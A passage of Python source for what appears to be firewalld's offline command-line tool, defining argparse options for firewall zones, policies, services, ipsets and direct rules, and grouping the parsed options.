parser_group_standalone.add_argument(&quot;--policy-server&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--policy-desktop&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--lockdown-on&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--lockdown-off&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--query-lockdown&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--reset-to-defaults&quot;, action=&quot;store_true&quot;)

parser_group_standalone.add_argument(&quot;--get-default-zone&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--set-default-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;)
parser_group_standalone.add_argument(&quot;--get-zones&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--get-policies&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--get-services&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--get-icmptypes&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--get-zone-of-interface&quot;, metavar=&quot;&lt;iface&gt;&quot;, action=&#039;append&#039;)
parser_group_standalone.add_argument(&quot;--get-zone-of-source&quot;, metavar=&quot;&lt;source&gt;&quot;, action=&#039;append&#039;)
parser_group_standalone.add_argument(&quot;--list-all-zones&quot;, action=&quot;store_true&quot;)
parser_group_standalone.add_argument(&quot;--list-all-policies&quot;, action=&quot;store_true&quot;)

parser_group_standalone.add_argument(&quot;--info-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;)
parser_group_standalone.add_argument(&quot;--info-policy&quot;, metavar=&quot;&lt;policy&gt;&quot;)
parser_group_standalone.add_argument(&quot;--info-service&quot;, metavar=&quot;&lt;service&gt;&quot;)
parser_group_standalone.add_argument(&quot;--info-icmptype&quot;, metavar=&quot;&lt;icmptype&gt;&quot;)
parser_group_standalone.add_argument(&quot;--info-ipset&quot;, metavar=&quot;&lt;ipset&gt;&quot;)
parser_group_standalone.add_argument(&quot;--info-helper&quot;, metavar=&quot;&lt;helper&gt;&quot;)

parser_group_config = parser.add_mutually_exclusive_group()
parser_group_config.add_argument(&quot;--new-icmptype&quot;, metavar=&quot;&lt;icmptype&gt;&quot;)
parser_group_config.add_argument(&quot;--new-icmptype-from-file&quot;, metavar=&quot;&lt;filename&gt;&quot;)
parser_group_config.add_argument(&quot;--delete-icmptype&quot;, metavar=&quot;&lt;icmptype&gt;&quot;)
parser_group_config.add_argument(&quot;--load-icmptype-defaults&quot;,
                                 metavar=&quot;&lt;icmptype&gt;&quot;)
parser_group_config.add_argument(&quot;--new-service&quot;, metavar=&quot;&lt;service&gt;&quot;)
parser_group_config.add_argument(&quot;--new-service-from-file&quot;, metavar=&quot;&lt;filename&gt;&quot;)
parser_group_config.add_argument(&quot;--delete-service&quot;, metavar=&quot;&lt;service&gt;&quot;)
parser_group_config.add_argument(&quot;--load-service-defaults&quot;, metavar=&quot;&lt;service&gt;&quot;)
parser_group_config.add_argument(&quot;--new-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;)
parser_group_config.add_argument(&quot;--new-zone-from-file&quot;, metavar=&quot;&lt;filename&gt;&quot;)
parser_group_config.add_argument(&quot;--delete-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;)
parser_group_config.add_argument(&quot;--load-zone-defaults&quot;, metavar=&quot;&lt;zone&gt;&quot;)
parser_group_config.add_argument(&quot;--new-policy&quot;, metavar=&quot;&lt;policy&gt;&quot;)
parser_group_config.add_argument(&quot;--new-policy-from-file&quot;, metavar=&quot;&lt;filename&gt;&quot;)
parser_group_config.add_argument(&quot;--delete-policy&quot;, metavar=&quot;&lt;policy&gt;&quot;)
parser_group_config.add_argument(&quot;--load-policy-defaults&quot;, metavar=&quot;&lt;policy&gt;&quot;)
parser_group_config.add_argument(&quot;--new-ipset&quot;, metavar=&quot;&lt;ipset&gt;&quot;)
parser_group_config.add_argument(&quot;--new-ipset-from-file&quot;, metavar=&quot;&lt;filename&gt;&quot;)
parser_group_config.add_argument(&quot;--delete-ipset&quot;, metavar=&quot;&lt;ipset&gt;&quot;)
parser_group_config.add_argument(&quot;--load-ipset-defaults&quot;, metavar=&quot;&lt;ipset&gt;&quot;)
parser_group_config.add_argument(&quot;--new-helper&quot;, metavar=&quot;&lt;helper&gt;&quot;)
parser_group_config.add_argument(&quot;--new-helper-from-file&quot;, metavar=&quot;&lt;filename&gt;&quot;)
parser_group_config.add_argument(&quot;--delete-helper&quot;, metavar=&quot;&lt;helper&gt;&quot;)
parser_group_config.add_argument(&quot;--load-helper-defaults&quot;, metavar=&quot;&lt;helper&gt;&quot;)

parser_group_config.add_argument(&quot;--path-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;)
parser_group_config.add_argument(&quot;--path-policy&quot;, metavar=&quot;&lt;policy&gt;&quot;)
parser_group_config.add_argument(&quot;--path-service&quot;, metavar=&quot;&lt;service&gt;&quot;)
parser_group_config.add_argument(&quot;--path-icmptype&quot;, metavar=&quot;&lt;icmptype&gt;&quot;)
parser_group_config.add_argument(&quot;--path-ipset&quot;, metavar=&quot;&lt;ipset&gt;&quot;)
parser_group_config.add_argument(&quot;--path-helper&quot;, metavar=&quot;&lt;helper&gt;&quot;)

parser.add_argument(&quot;--name&quot;, default=&quot;&quot;, metavar=&quot;&lt;name&gt;&quot;)

parser_group_lockdown_whitelist = parser.add_mutually_exclusive_group()
parser_group_lockdown_whitelist.add_argument(&quot;--list-lockdown-whitelist-commands&quot;, action=&quot;store_true&quot;)
parser_group_lockdown_whitelist.add_argument(&quot;--add-lockdown-whitelist-command&quot;, metavar=&quot;&lt;command&gt;&quot;, action=&#039;append&#039;)
parser_group_lockdown_whitelist.add_argument(&quot;--remove-lockdown-whitelist-command&quot;, metavar=&quot;&lt;command&gt;&quot;, action=&#039;append&#039;)
parser_group_lockdown_whitelist.add_argument(&quot;--query-lockdown-whitelist-command&quot;, metavar=&quot;&lt;command&gt;&quot;, action=&#039;append&#039;)

parser_group_lockdown_whitelist.add_argument(&quot;--list-lockdown-whitelist-contexts&quot;, action=&quot;store_true&quot;)
parser_group_lockdown_whitelist.add_argument(&quot;--add-lockdown-whitelist-context&quot;, metavar=&quot;&lt;context&gt;&quot;, action=&#039;append&#039;)
parser_group_lockdown_whitelist.add_argument(&quot;--remove-lockdown-whitelist-context&quot;, metavar=&quot;&lt;context&gt;&quot;, action=&#039;append&#039;)
parser_group_lockdown_whitelist.add_argument(&quot;--query-lockdown-whitelist-context&quot;, metavar=&quot;&lt;context&gt;&quot;, action=&#039;append&#039;)

parser_group_lockdown_whitelist.add_argument(&quot;--list-lockdown-whitelist-uids&quot;, action=&quot;store_true&quot;)
parser_group_lockdown_whitelist.add_argument(&quot;--add-lockdown-whitelist-uid&quot;, metavar=&quot;&lt;uid&gt;&quot;, type=int, action=&#039;append&#039;)
parser_group_lockdown_whitelist.add_argument(&quot;--remove-lockdown-whitelist-uid&quot;, metavar=&quot;&lt;uid&gt;&quot;, type=int, action=&#039;append&#039;)
parser_group_lockdown_whitelist.add_argument(&quot;--query-lockdown-whitelist-uid&quot;, metavar=&quot;&lt;uid&gt;&quot;, type=int, action=&#039;append&#039;)

parser_group_lockdown_whitelist.add_argument(&quot;--list-lockdown-whitelist-users&quot;, action=&quot;store_true&quot;)
parser_group_lockdown_whitelist.add_argument(&quot;--add-lockdown-whitelist-user&quot;, metavar=&quot;&lt;user&gt;&quot;, action=&#039;append&#039;)
parser_group_lockdown_whitelist.add_argument(&quot;--remove-lockdown-whitelist-user&quot;, metavar=&quot;&lt;user&gt;&quot;, action=&#039;append&#039;)
parser_group_lockdown_whitelist.add_argument(&quot;--query-lockdown-whitelist-user&quot;, metavar=&quot;&lt;user&gt;&quot;, action=&#039;append&#039;)

parser.add_argument(&quot;--zone&quot;, default=&quot;&quot;, metavar=&quot;&lt;zone&gt;&quot;)
parser.add_argument(&quot;--policy&quot;, default=&quot;&quot;, metavar=&quot;&lt;policy&gt;&quot;)

parser_group_zone_or_policy = parser.add_mutually_exclusive_group()
parser_group_zone_or_policy.add_argument(&quot;--add-interface&quot;, metavar=&quot;&lt;iface&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-interface&quot;, metavar=&quot;&lt;iface&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-interface&quot;, metavar=&quot;&lt;iface&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--change-interface&quot;, &quot;--change-zone&quot;, metavar=&quot;&lt;iface&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--list-interfaces&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--add-source&quot;, metavar=&quot;&lt;source&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-source&quot;, metavar=&quot;&lt;source&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-source&quot;, metavar=&quot;&lt;source&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--change-source&quot;, metavar=&quot;&lt;source&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--list-sources&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--add-ingress-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-ingress-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-ingress-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--list-ingress-zones&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--add-egress-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-egress-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-egress-zone&quot;, metavar=&quot;&lt;zone&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--list-egress-zones&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--add-rich-rule&quot;, metavar=&quot;&lt;rule&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-rich-rule&quot;, metavar=&quot;&lt;rule&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-rich-rule&quot;, metavar=&quot;&lt;rule&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--add-service&quot;, metavar=&quot;&lt;service&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-service-from-zone&quot;, metavar=&quot;&lt;service&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-service-from-policy&quot;, metavar=&quot;&lt;service&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-service&quot;, metavar=&quot;&lt;service&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--add-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--add-protocol&quot;, metavar=&quot;&lt;protocol&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-protocol&quot;, metavar=&quot;&lt;protocol&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-protocol&quot;, metavar=&quot;&lt;protocol&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--add-source-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-source-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-source-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--add-forward&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--remove-forward&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--query-forward&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--add-masquerade&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--remove-masquerade&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--query-masquerade&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--add-icmp-block&quot;, metavar=&quot;&lt;icmptype&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-icmp-block&quot;, metavar=&quot;&lt;icmptype&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-icmp-block&quot;, metavar=&quot;&lt;icmptype&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--add-icmp-block-inversion&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--remove-icmp-block-inversion&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--query-icmp-block-inversion&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--add-forward-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--remove-forward-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--query-forward-port&quot;, metavar=&quot;&lt;port&gt;&quot;, action=&#039;append&#039;)
parser_group_zone_or_policy.add_argument(&quot;--list-rich-rules&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--list-services&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--list-ports&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--list-protocols&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--list-icmp-blocks&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--list-forward-ports&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--list-source-ports&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--list-all&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--get-target&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--set-target&quot;, metavar=&quot;&lt;target&gt;&quot;)
parser_group_zone_or_policy.add_argument(&quot;--get-priority&quot;, action=&quot;store_true&quot;)
parser_group_zone_or_policy.add_argument(&quot;--set-priority&quot;, metavar=&quot;&lt;priority&gt;&quot;)

parser.add_argument(&quot;--option&quot;, metavar=&quot;&lt;key&gt;[=&lt;value&gt;]&quot;, action=&#039;append&#039;)
parser.add_argument(&quot;--type&quot;, metavar=&quot;&lt;ipsettype&gt;&quot;)
parser.add_argument(&quot;--ipset&quot;, metavar=&quot;&lt;ipset&gt;&quot;)

parser_ipset = parser.add_mutually_exclusive_group()
#parser_ipset.add_argument(&quot;--add-option&quot;, metavar=&quot;&lt;key&gt;[=&lt;value&gt;]&quot;)
#parser_ipset.add_argument(&quot;--remove-option&quot;, metavar=&quot;&lt;key&gt;[=&lt;value&gt;]&quot;)
#parser_ipset.add_argument(&quot;--query-option&quot;, metavar=&quot;&lt;key&gt;[=&lt;value&gt;]&quot;)
#parser_ipset.add_argument(&quot;--get-options&quot;, action=&quot;store_true&quot;)

parser_ipset.add_argument(&quot;--get-ipsets&quot;, action=&quot;store_true&quot;)
parser_ipset.add_argument(&quot;--add-entry&quot;, metavar=&quot;&lt;entry&gt;&quot;, action=&#039;append&#039;)
parser_ipset.add_argument(&quot;--remove-entry&quot;, metavar=&quot;&lt;entry&gt;&quot;, action=&#039;append&#039;)
parser_ipset.add_argument(&quot;--query-entry&quot;, metavar=&quot;&lt;entry&gt;&quot;, action=&#039;append&#039;)
parser_ipset.add_argument(&quot;--get-entries&quot;, action=&quot;store_true&quot;)
parser_ipset.add_argument(&quot;--add-entries-from-file&quot;, metavar=&quot;&lt;filename&gt;&quot;, action=&#039;append&#039;)
parser_ipset.add_argument(&quot;--remove-entries-from-file&quot;, metavar=&quot;&lt;filename&gt;&quot;, action=&#039;append&#039;)

parser.add_argument(&quot;--icmptype&quot;, metavar=&quot;&lt;icmptype&gt;&quot;)

parser_icmptype = parser.add_mutually_exclusive_group()
parser_icmptype.add_argument(&quot;--add-destination&quot;, metavar=&quot;&lt;ipv&gt;&quot;, action=&#039;append&#039;)
parser_icmptype.add_argument(&quot;--remove-destination&quot;, metavar=&quot;&lt;ipv&gt;&quot;, action=&#039;append&#039;)
parser_icmptype.add_argument(&quot;--query-destination&quot;, metavar=&quot;&lt;ipv&gt;&quot;, action=&#039;append&#039;)
parser_icmptype.add_argument(&quot;--get-destinations&quot;, action=&quot;store_true&quot;)

parser_service = parser.add_mutually_exclusive_group()
parser_service.add_argument(&quot;--get-ports&quot;, action=&quot;store_true&quot;)
parser_service.add_argument(&quot;--get-source-ports&quot;, action=&quot;store_true&quot;)
parser_service.add_argument(&quot;--get-protocols&quot;, action=&quot;store_true&quot;)

parser_service.add_argument(&quot;--add-module&quot;, metavar=&quot;&lt;module&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--remove-module&quot;, metavar=&quot;&lt;module&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--query-module&quot;, metavar=&quot;&lt;module&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--get-modules&quot;, action=&quot;store_true&quot;)

parser_service.add_argument(&quot;--add-helper&quot;, metavar=&quot;&lt;helper&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--remove-helper&quot;, metavar=&quot;&lt;helper&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--query-helper&quot;, metavar=&quot;&lt;helper&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--get-service-helpers&quot;, action=&quot;store_true&quot;)

parser_service.add_argument(&quot;--add-include&quot;, metavar=&quot;&lt;service&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--remove-include&quot;, metavar=&quot;&lt;service&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--query-include&quot;, metavar=&quot;&lt;service&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--get-includes&quot;, action=&quot;store_true&quot;)

parser_service.add_argument(&quot;--set-destination&quot;, metavar=&quot;&lt;destination&gt;&quot;, action=&#039;append&#039;)
parser_service.add_argument(&quot;--get-destination&quot;, action=&quot;store_true&quot;)

parser_service.add_argument(&quot;--set-description&quot;, metavar=&quot;&lt;description&gt;&quot;)
parser_service.add_argument(&quot;--get-description&quot;, action=&quot;store_true&quot;)

parser_service.add_argument(&quot;--set-short&quot;, metavar=&quot;&lt;description&gt;&quot;)
parser_service.add_argument(&quot;--get-short&quot;, action=&quot;store_true&quot;)

parser.add_argument(&quot;--helper&quot;, metavar=&quot;&lt;helper&gt;&quot;)
parser.add_argument(&quot;--family&quot;, metavar=&quot;&lt;family&gt;&quot;)
parser.add_argument(&quot;--module&quot;, metavar=&quot;&lt;module&gt;&quot;)

parser_helper = parser.add_mutually_exclusive_group()
#parser_helper.add_argument(&quot;--get-ports&quot;, action=&quot;store_true&quot;)
parser_helper.add_argument(&quot;--get-helpers&quot;, action=&quot;store_true&quot;)
parser_helper.add_argument(&quot;--set-module&quot;, metavar=&quot;&lt;module&gt;&quot;)
parser_helper.add_argument(&quot;--get-module&quot;, action=&quot;store_true&quot;)
#parser_helper.add_argument(&quot;--query-module&quot;, metavar=&quot;&lt;module&gt;&quot;)
parser_helper.add_argument(&quot;--set-family&quot;, metavar=&quot;&lt;family&gt;|&#039;&#039;&quot;, nargs=&quot;*&quot;)
parser_helper.add_argument(&quot;--get-family&quot;, action=&quot;store_true&quot;)

parser.add_argument(&quot;--direct&quot;, action=&quot;store_true&quot;)

# not possible to have sequences of options here
parser_direct = parser.add_mutually_exclusive_group()
parser_direct.add_argument(&quot;--add-passthrough&quot;, nargs=argparse.REMAINDER,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;args&gt;&quot;))
parser_direct.add_argument(&quot;--remove-passthrough&quot;, nargs=argparse.REMAINDER,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;args&gt;&quot;))
parser_direct.add_argument(&quot;--query-passthrough&quot;, nargs=argparse.REMAINDER,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;args&gt;&quot;))
parser_direct.add_argument(&quot;--get-passthroughs&quot;, nargs=1,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;))
parser_direct.add_argument(&quot;--get-all-passthroughs&quot;, action=&quot;store_true&quot;)
parser_direct.add_argument(&quot;--add-chain&quot;, nargs=3,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;table&gt;&quot;, &quot;&lt;chain&gt;&quot;))
parser_direct.add_argument(&quot;--remove-chain&quot;, nargs=3,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;table&gt;&quot;, &quot;&lt;chain&gt;&quot;))
parser_direct.add_argument(&quot;--query-chain&quot;, nargs=3,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;table&gt;&quot;, &quot;&lt;chain&gt;&quot;))
parser_direct.add_argument(&quot;--get-all-chains&quot;, action=&quot;store_true&quot;)
parser_direct.add_argument(&quot;--get-chains&quot;, nargs=2,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;table&gt;&quot;))
parser_direct.add_argument(&quot;--add-rule&quot;, nargs=argparse.REMAINDER,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;args&gt;&quot;))
parser_direct.add_argument(&quot;--remove-rule&quot;, nargs=argparse.REMAINDER,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;args&gt;&quot;))
parser_direct.add_argument(&quot;--remove-rules&quot;, nargs=3,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;table&gt; &lt;chain&gt;&quot;))
parser_direct.add_argument(&quot;--query-rule&quot;, nargs=argparse.REMAINDER,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;args&gt;&quot;))
parser_direct.add_argument(&quot;--get-rules&quot;, nargs=3,
                           metavar=(&quot;{ ipv4 | ipv6 | eb }&quot;, &quot;&lt;table&gt;&quot;, &quot;&lt;chain&gt;&quot;))
parser_direct.add_argument(&quot;--get-all-rules&quot;, action=&quot;store_true&quot;)

##############################################################################

cmd = FirewallCommand()

def myexcepthook(exctype, value, traceback):
    cmd.exception_handler(str(value))
sys.excepthook = myexcepthook

if len(sys.argv) &gt; 1 and \
   any(&#039;--migrate-system-config-firewall&#039; in arg for arg in sys.argv):
    args = sys.argv[1:]
    migration_parser = argparse.ArgumentParser(
        usage=&quot;see firewall-offline-cmd man page&quot;, add_help=False)
    migration_parser.add_argument(&quot;-h&quot;, &quot;--help&quot;, action=&quot;store_true&quot;)
    migration_parser.add_argument(&quot;-v&quot;, &quot;--verbose&quot;, action=&quot;store_true&quot;)
    migration_parser.add_argument(&quot;-q&quot;, &quot;--quiet&quot;, action=&quot;store_true&quot;)
    migration_parser.add_argument(&quot;--migrate-system-config-firewall&quot;,
                                  metavar=&quot;&lt;file&gt;&quot;, action=&#039;store&#039;)
    a,unknown = migration_parser.parse_known_args(args)
    cmd.set_quiet(a.quiet)
    cmd.set_verbose(a.verbose)
    if a.help:
        __usage()
        sys.exit(0)
    else:
        assert_root()
    if a.quiet:
        # it makes no sense to use --quiet with these options
        a.quiet = False
        cmd.set_quiet(a.quiet)
        cmd.fail(&quot;-q/--quiet can&#039;t be used with this option(s)&quot;)
    if a.migrate_system_config_firewall:
        args = read_sysconfig_args(a.migrate_system_config_firewall)
        if not args:
            cmd.fail(&quot;Opening of &#039;%s&#039; failed, exiting.&quot; % \
                     a.migrate_system_config_firewall)
        args += unknown
elif len(sys.argv) &gt; 1:
    i = -1
    args = sys.argv[1:]
    if &#039;--add-passthrough&#039; in args:
        i = args.index(&#039;--add-passthrough&#039;) + 1
    elif &#039;--remove-passthrough&#039; in args:
        i = args.index(&#039;--remove-passthrough&#039;) + 1
    elif &#039;--query-passthrough&#039; in args:
        i = args.index(&#039;--query-passthrough&#039;) + 1
    elif &#039;--add-rule&#039; in args:
        i = args.index(&#039;--add-rule&#039;) + 4
    elif &#039;--remove-rule&#039; in args:
        i = args.index(&#039;--remove-rule&#039;) + 4
    elif &#039;--query-rule&#039; in args:
        i = args.index(&#039;--query-rule&#039;) + 4
    # join &lt;args&gt; into one argument to prevent parser from parsing each iptables
    # option, because they can conflict with firewall-cmd options
    # # e.g. --delete (iptables) and --delete-* (firewall-cmd)
    if (i &gt; -1) and (i &lt; len(args) - 1):
        aux_args = args[:]
        args = aux_args[:i+1] # all but not &lt;args&gt;
        args.append(joinArgs(aux_args[i+1:])) # add &lt;args&gt; as one arg
else:
    assert_root()
    # migrate configuration from SYSTEM_CONFIG_FIREWALL
    args = read_sysconfig_args()
    if not args:
        cmd.fail(&quot;Opening of &#039;%s&#039; failed, exiting.&quot; % SYSTEM_CONFIG_FIREWALL)

a = parser.parse_args(args)

options_lokkit = a.enabled or a.disabled or a.addmodule or a.removemodule or \
                 a.trust or a.masq or a.custom_rules or \
                 a.service or a.remove_service or a.port or \
                 a.trust or a.masq or a.forward_port or a.block_icmp

options_standalone = a.help or a.version or \
    a.policy_server or a.policy_desktop or \
    a.lockdown_on or a.lockdown_off or a.query_lockdown or \
    a.reset_to_defaults or a.get_default_zone or a.set_default_zone or \
    a.get_log_denied or a.set_log_denied or \
    a.get_automatic_helpers or a.set_automatic_helpers

options_desc_xml_file = a.set_description or a.get_description or \
                        a.set_short or a.get_short

options_lockdown_whitelist = \
    a.list_lockdown_whitelist_commands or a.add_lockdown_whitelist_command or \
    a.remove_lockdown_whitelist_command or \
    a.query_lockdown_whitelist_command or \
    a.list_lockdown_whitelist_contexts or a.add_lockdown_whitelist_context or \
    a.remove_lockdown_whitelist_context or \
    a.query_lockdown_whitelist_context or \
    a.list_lockdown_whitelist_uids or a.add_lockdown_whitelist_uid is not None or \
    a.remove_lockdown_whitelist_uid is not None or \
    a.query_lockdown_whitelist_uid is not None or \
    a.list_lockdown_whitelist_users or a.add_lockdown_whitelist_user or \
    a.remove_lockdown_whitelist_user or \
    a.query_lockdown_whitelist_user

options_config = a.get_zones or a.get_services or a.get_icmptypes or \
                 options_lockdown_whitelist or a.list_all_zones or \
                 a.get_zone_of_interface or a.get_zone_of_source or \
                 a.info_zone or a.info_icmptype or a.info_service or \
                 a.info_ipset or a.info_policy or a.get_ipsets or a.info_helper or \
                 a.get_helpers or a.get_policies or a.list_all_policies

options_zone_and_policy_adapt_query = \
    a.add_service or a.remove_service_from_zone or a.query_service or \
    a.add_port or a.remove_port or a.query_port or \
    a.add_protocol or a.remove_protocol or a.query_protocol or \
    a.add_source_port or a.remove_source_port or a.query_source_port or \
    a.add_icmp_block or a.remove_icmp_block or a.query_icmp_block or \
    a.add_forward_port or a.remove_forward_port or a.query_forward_port or \
    a.add_rich_rule or a.remove_rich_rule or a.query_rich_rule or \
    a.add_masquerade or a.remove_masquerade or a.query_masquerade or \
    a.list_services or a.list_ports or a.list_protocols or \
    a.list_source_ports or \
    a.list_icmp_blocks or a.list_forward_ports or a.list_rich_rules or \
    a.list_all or a.get_target or a.set_target

options_zone_unique = \
    a.add_icmp_block_inversion or a.remove_icmp_block_inversion or \
    a.query_icmp_block_inversion or \
    a.add_forward or a.remove_forward or a.query_forward or \
    a.list_interfaces or a.change_interface or \
    a.add_interface or a.remove_interface or a.query_interface or \
    a.list_sources or a.change_source or \
    a.add_source or a.remove_source or a.query_source

options_zone_ops = options_zone_unique or options_zone_and_policy_adapt_query

options_policy_unique = \
    a.list_ingress_zones or a.add_ingress_zone or \
    a.remove_ingress_zone or a.query_ingress_zone or \
    a.list_egress_zones or a.add_egress_zone or \
    a.remove_egress_zone or a.query_egress_zone or \
    a.set_priority or a.get_priority

options_policy_ops = options_policy_unique or options_zone_and_policy_adapt_query

options_zone = a.zone or options_zone_ops or options_desc_xml_file

options_policy = a.policy or options_policy_ops or options_desc_xml_file

options_ipset = a.add_entry or a.remove_entry or a.query_entry or \
                a.get_entries or a.add_entries_from_file or \
                a.remove_entries_from_file or options_desc_xml_file

